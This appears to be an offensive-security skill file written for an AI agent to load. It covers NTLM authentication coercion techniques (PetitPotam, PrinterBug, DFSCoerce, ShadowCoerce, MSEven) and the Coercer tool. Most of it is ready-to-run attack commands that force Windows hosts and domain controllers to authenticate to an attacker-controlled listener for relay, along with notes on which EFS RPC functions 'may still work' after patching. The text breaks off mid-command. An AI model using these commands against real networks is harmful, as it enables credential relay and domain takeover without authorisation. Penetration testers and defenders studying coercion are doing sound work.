Ntlm Relay Coercion

# Authentication Coercion Methods

> **AI LOAD INSTRUCTION**: Load this for detailed authentication coercion method comparison, RPC function-level details, and the Coercer tool usage. Assumes the main [SKILL.md](./SKILL.md) is already loaded for NTLM relay fundamentals.

---

## 1. COERCION METHODS MATRIX

| Method | RPC Interface | Function | Protocol | Auth Type | Requires Creds? | Target |
|---|---|---|---|---|---|---|
| **PetitPotam** | MS-EFSR (lsarpc) | EfsRpcOpenFileRaw + variants | SMB (445) | Machine account | No (unauthenticated on unpatched) | DC/Any |
| **PrinterBug** | MS-RPRN (spoolss) | RpcRemoteFindFirstPrinterChangeNotificationEx | SMB (445) | Machine account | Yes (domain user) | Any with Spooler |
| **DFSCoerce** | MS-DFSNM (netdfs) | NetrDfsRemoveStdRoot / NetrDfsAddStdRoot | SMB (445) | Machine account | Yes (domain user) | DC |
| **ShadowCoerce** | MS-FSRVP (fssagent) | IsPathShadowCopied / IsPathSupported | SMB (445) | Machine account | Yes (domain user) | File servers |
| **MSEven** | MS-EVEN (eventlog) | ElfrOpenBELW | SMB (445) | Machine account | Yes (domain user) | Any |
| **CheeseOunce** | MS-EVEN | OpenEventLogW (via named pipe) | SMB (445) | Machine account | Yes | Any |

---

## 2. PETITPOTAM — MS-EFSR ABUSE

### Unauthenticated (Pre-Patch / Misconfigured)

```bash
# Original PetitPotam — unauthenticated
PetitPotam.py LISTENER_IP TARGET_IP

# Specific EFS functions:
PetitPotam.py -method EfsRpcOpenFileRaw LISTENER_IP TARGET_IP
PetitPotam.py -method EfsRpcEncryptFileSrv LISTENER_IP TARGET_IP
```

### Authenticated

```bash
# With credentials (required on patched systems)
PetitPotam.py -u user -p password -d domain.com LISTENER_IP TARGET_IP
```

### EFS RPC Function Variants

| Function | Patched? | Notes |
|---|---|---|
| `EfsRpcOpenFileRaw` | Patched (Nov 2021) | Original PetitPotam function |
| `EfsRpcEncryptFileSrv` | Patched later | Alternative function |
| `EfsRpcDecryptFileSrv` | Partially patched | May still work |
| `EfsRpcQueryUsersOnFile` | Partially patched | May still work |
| `EfsRpcQueryRecoveryAgents` | Partially patched | May still work |
| `EfsRpcFileKeyInfo` | Varies | Check per target |

---

## 3. PRINTERBUG — MS-RPRN (SPOOLSAMPLE)

### Prerequisites
- Print Spooler service running on target
- Valid domain credentials

```bash
# SpoolSample (Windows)
SpoolSample.exe TARGET_HOST LISTENER_HOST

# printerbug.py (Impacket)
printerbug.py DOMAIN/user:password@TARGET_IP LISTENER_IP

# Dementor (Python)
python3 dementor.py -d domain.com -u user -p password LISTENER_IP TARGET_IP
```

### Check If Spooler Is Running

```bash
# From Linux
rpcdump.py DOMAIN/user:pass@TARGET_IP | grep -i spoolss

# CrackMapExec
crackmapexec smb TARGET_IP -u user -p pass -M spooler
```

---

## 4. DFSCOERCE — MS-DFSNM

```bash
# DFSCoerce
python3 dfscoerce.py -u user -p password -d domain.com LISTENER_IP TARGET_IP

# Specific functions
python3 dfscoerce.py -u user -p password -d domain.com \
  -method NetrDfsRemoveStdRoot LISTENER_IP TARGET_IP
```

### MS-DFSNM Functions

| Function | Notes |
|---|---|
| `NetrDfsRemoveStdRoot` | Primary coercion function |
| `NetrDfsAddStdRoot` | Alternative |

---

## 5. SHADOWCOERCE — MS-FSRVP

Exploits the File Server VSS Agent Service (requires the service to be running — common on file servers).

```bash
# ShadowCoerce
python3 shadowcoerce.py -u user -p password -d domain.com LISTENER_IP TARGET_IP
```

### MS-FSRVP Functions

| Function | Notes |
|---|---|
| `IsPathShadowCopied` | Primary function |
| `IsPathSupported` | Alternative function |
| `GetShareMapping` | Another variant |

---

## 6. COERCER — AUTOMATED DISCOVERY TOOL

[Coercer](https://github.com/p0dalirius/Coercer) automates testing all known coercion methods.

```bash
# Scan for available coercion methods on target
coercer scan -u user -p password -d domain.com -t TARGET_IP

# Coerce using all available methods
coercer coerce -u user -p password -d domain.com -t TARGET_IP -l LISTENER_IP

# Specific method